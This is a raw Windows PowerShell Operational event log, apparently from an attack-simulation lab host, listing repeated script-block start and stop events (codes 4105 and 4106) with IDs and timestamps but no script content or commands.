09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036285
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036284
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036283
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036282
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036266
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036265
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036260
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036259
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
